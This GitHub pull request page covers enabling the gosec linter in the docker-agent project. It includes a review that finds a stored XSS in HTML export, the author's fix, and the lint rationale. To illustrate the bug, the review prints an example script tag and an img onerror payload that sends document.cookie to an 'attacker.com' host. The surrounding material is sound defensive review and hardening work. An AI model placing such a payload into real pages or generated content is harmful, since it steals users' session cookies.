ci: enable gosec linter#2730
Conversation
docker-agent
left a comment
There was a problem hiding this comment.
Assessment: 🔴 CRITICAL
One confirmed high-severity finding: an incorrect //nolint:gosec justification that suppresses a real XSS vulnerability in the HTML export path.
Summary of changes reviewed: This PR enables gosec in golangci-lint and handles its findings with a mix of inline //nolint:gosec suppressions (with justifications) and real bug fixes (Slowloris hardening, file permission tightening). The overall approach is sound and the real fixes are correct.
Finding: The nolint comment at pkg/app/export/html.go:467 claims the goldmark renderer produces safe HTML, but the renderer is configured with html.WithUnsafe() which passes raw HTML through verbatim — making the claim false and the XSS suppression unjustified. See inline comment for details.
| return "", fmt.Errorf("failed to render markdown: %w", err) | ||
| } | ||
| data.ContentHTML = template.HTML(contentHTML) //nolint:gosec // Markdown renderer produces safe HTML | ||
| data.ContentHTML = template.HTML(contentHTML) //nolint:gosec // markdown renderer produces safe HTML |
There was a problem hiding this comment.
[HIGH] Incorrect nolint justification: html.WithUnsafe() means the Goldmark renderer does NOT produce safe HTML
The markdown renderer (defined at line ~49) is configured with html.WithUnsafe(), which instructs goldmark to pass raw HTML nodes through verbatim into its output. The //nolint:gosec // markdown renderer produces safe HTML comment is therefore factually incorrect.
When an AI assistant message (msg.Content) contains raw HTML — for example:
<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">…goldmark will emit that HTML verbatim, and wrapping the result in template.HTML() tells Go's html/template engine to skip its auto-escaping. The result is a stored XSS in the exported HTML file: any user who opens the export in a browser is affected.
The PR description's justification ("content already escaped by sub-templates or constant SVG/CSS embedded at build time") applies to the SVG icon and CSS constants, not to msg.Content, which is runtime AI-generated data.
Fix options:
- Remove
html.WithUnsafe()from the goldmark renderer (safe Markdown rendering, disallows raw HTML passthrough), OR - Run the rendered HTML through a sanitizer (e.g.,
bluemonday) before casting totemplate.HTML, OR - HTML-escape
msg.Contentbefore passing it torenderMarkdown— but this will also escape legitimate Markdown.
Option 1 is the simplest: html.WithUnsafe() is only needed if the agent conversation intentionally embeds raw HTML in messages, which is unlikely.
There was a problem hiding this comment.
Good catch — addressed in 93986be.
Fix: removed html.WithUnsafe() from the goldmark renderer (option 1 from the suggestions). Goldmark now strips raw HTML and dangerous URLs (javascript:, vbscript:, data:, etc.) from assistant content before it is wrapped in template.HTML, so the //nolint:gosec justification is now factually accurate.
Added pkg/app/export/html_test.go as a regression test covering:
- block-level
<script>/<img onerror=...>are stripped - inline
<script>inside paragraphs is stripped [link](javascript:...)is rewritten to a safe href- legitimate Markdown (headings, emphasis, code blocks) still renders
Also tightened the comment on the markdown parser var so future readers see why WithUnsafe is intentionally absent.
There was a problem hiding this comment.
Perfect fix — the removal of html.WithUnsafe() is exactly right, and the regression test suite is excellent. I particularly like that you covered both block-level and inline attack vectors (<script> inside paragraphs), plus the javascript: URL case that many developers forget.
The updated comment on the markdown variable (lines 47–48) is much clearer: "Raw HTML and dangerous URLs in input are escaped (no html.WithUnsafe): assistant content is untrusted and would otherwise allow stored XSS in exported HTML files." Future maintainers will immediately understand why WithUnsafe must not be added back.
The //nolint:gosec comments at lines 459 and 467 are now factually accurate — goldmark's default behavior strips raw HTML, so wrapping the output in template.HTML is safe.
Scope gosec to G301 (dir perms), G302 (chmod perms), and G306 (WriteFile
perms) so future regressions of the project's 0o700/0o600 convention
for on-disk private state are caught in CI.
Real fix uncovered by the new check:
- pkg/modelsdev/store.go: tighten cache directory to 0o700 and cache
file to 0o600 to match every sibling cache (pkg/cache, pkg/content,
pkg/history, pkg/userconfig, etc.). This was an outlier.
Legitimate exceptions silenced inline with a one-line reason:
- pkg/snapshot/snapshot.go: 0o755/0o644 mirror what 'git init' itself
writes for .git and .git/info/exclude.
- pkg/toolinstall/{installer,archive}.go: installed/extracted binaries
need +x; their parent directories need traversal/exec.
- pkg/app/export/html.go: exported HTML is meant to be world-readable.
- pkg/gateway/catalog.go: MCP catalog is shared with other docker MCP
gateway processes.
- pkg/server/listen.go: unix-socket access is gated by the socket file's
own permissions, not by the parent directory.
- pkg/tools/builtin/lsp/lsp.go: file pre-exists; os.WriteFile only
applies the mode argument on creation.
- cmd/root/pull.go, cmd/root/root.go: pulled agent yaml and the empty
first-run marker file are intended to be readable.
Test files are excluded from gosec (test fixtures legitimately use
0o755 and chmod for permission-failure scenarios).
Pre-existing //nolint:gosec directives targeting G203/G204 are removed
in this commit because they are flagged as 'unused' under the narrow
scope; they will be re-added when gosec is broadened in a follow-up.
Switch gosec from a file-permission allowlist to a broader run that excludes the systematically noisy rule families and silences the remaining legitimate exceptions inline. Excluded rule families (rationale in .golangci.yml): - G101 (hardcoded credentials): false-positives on tool-name constants and shipped public client telemetry keys; secretsscan covers real cases. - G104 (errors unhandled): errcheck is already enabled and matches the patterns we care about; gosec flags many legitimate Close-on-error-path callsites. - G204 (subprocess with variable): docker-agent intentionally launches user-configured commands (LSP servers, hooks, agents, editors). - G304 (file inclusion via variable): paths come from CLI flags, validated config, and tempdirs throughout the codebase. - G404 (weak RNG): math/rand is used for jitter, model selection, and spinner animations — never for security. - G602 (slice bounds): false-positive on dynamically-validated indices. - G702/G703/G704 (taint analysis): paths, URLs, and commands are derived from validated config or user-set environment. Real fixes uncovered by the broader run: - pkg/mcp/server.go, pkg/server/server.go: add ReadHeaderTimeout to harden against Slowloris (G112). - pkg/tui/tui.go: explicitly discard ignored Close/Remove return values via '_ =' (G104) — better Go style and self-documents the intent. Inline //nolint:gosec with one-line reasons for the rules we keep enabled: - G115 (int overflow conversions): bounded values from validated YAML schemas and model API constraints — frozen pre-latest config versions and the model providers' MaxTokens / ThinkingBudget. - G117 (JSON 'access_token' marshaling): intentional in OAuth token storage and the debug command that prints (truncated) tokens. - G118 (goroutine context detached): three deliberate fire-and-forget patterns — telemetry events, OTel SDK shutdown, and post-request StreamStoppedEvent forwarding. - G201/G202 (SQL formatting/concatenation): rag/strategy queries embed internal table names; values are always bound parameters. - G203 (template HTML auto-escape): pkg/app/export/html.go renders content that has already been escaped by sub-templates or is a constant SVG/CSS asset embedded at build time.
9a1d556 to
93986be
Compare
Enables
gosecingolangci-lintand handles the resulting findings. Split into two reviewable commits.Commit 1 —
ci: enable gosec for file-permission rules (G301/G302/G306)Scopes gosec to file-permission rules so future regressions of the project's
0o700/0o600convention for on-disk private state are caught in CI.pkg/modelsdev/store.gowas the only outlier — its cache directory used0o755and its cache file used0o644, while every sibling cache (pkg/cache,pkg/content,pkg/history,pkg/userconfig, etc.) uses0o700/0o600. Tightened to match the convention.+ "git init" +writes),toolinstallbinaries that need+ "+x" +, exported HTML, the MCP catalog, the unix-socket parent directory, the LSP file-rewrite (mode is a no-op when the file pre-exists), and the pulled-yaml / first-run-marker writes incmd/root.+ "0o755" +and chmod for permission-failure scenarios).Commit 2 —
ci: broaden gosec coverage with targeted exclusions and inline silencesSwitches from the file-perm allowlist to a broader run that excludes systematically noisy rule families globally and silences the remaining legitimate exceptions inline.
Excluded rule families (rationale in
.golangci.yml)G101(hardcoded credentials)+ "secretsscan" +covers real cases.G104(errors unhandled)+ "errcheck" +is already enabled and matches the patterns we care about.G204(subprocess with variable)G304(file inclusion via variable)G404(weak RNG)+ "math/rand" +is used for jitter, model selection, and spinner animations — never for security.G602(slice bounds)G702/G703/G704(taint analysis)Real fixes uncovered by the broader run
pkg/mcp/server.go,pkg/server/server.go: addReadHeaderTimeout: 10 * time.Secondto harden against Slowloris (G112).pkg/tui/tui.go: explicitly discard ignoredClose/Removereturn values via+ "_ =" +(G104) — better Go style and self-documents intent.Inline
+ "//nolint:gosec" +for the rules we keep enabledG115(int overflow): bounded values from validated YAML schemas and model API constraints (frozen pre-latest config versions,+ "MaxTokens" +/+ "ThinkingBudget" +in model providers).G117(+ "access_token" +JSON marshaling): intentional in OAuth token storage and the debug command that prints (truncated) tokens.G118(goroutine context detached): three deliberate fire-and-forget patterns — telemetry events, OTel SDK shutdown, and post-requestStreamStoppedEventforwarding.G201/G202(SQL formatting/concatenation):+ "pkg/rag/strategy" +queries embed internal table names; values are always bound parameters.G203(template HTML auto-escape):+ "pkg/app/export/html.go" +renders content already escaped by sub-templates or constant SVG/CSS embedded at build time.Validation
+ "task lint" +— 0 issues acrossgolangci-lint, the customlint/rubocop-go cops (1015 files), andgo mod tidy --diff.+ "task test" +— full suite passes.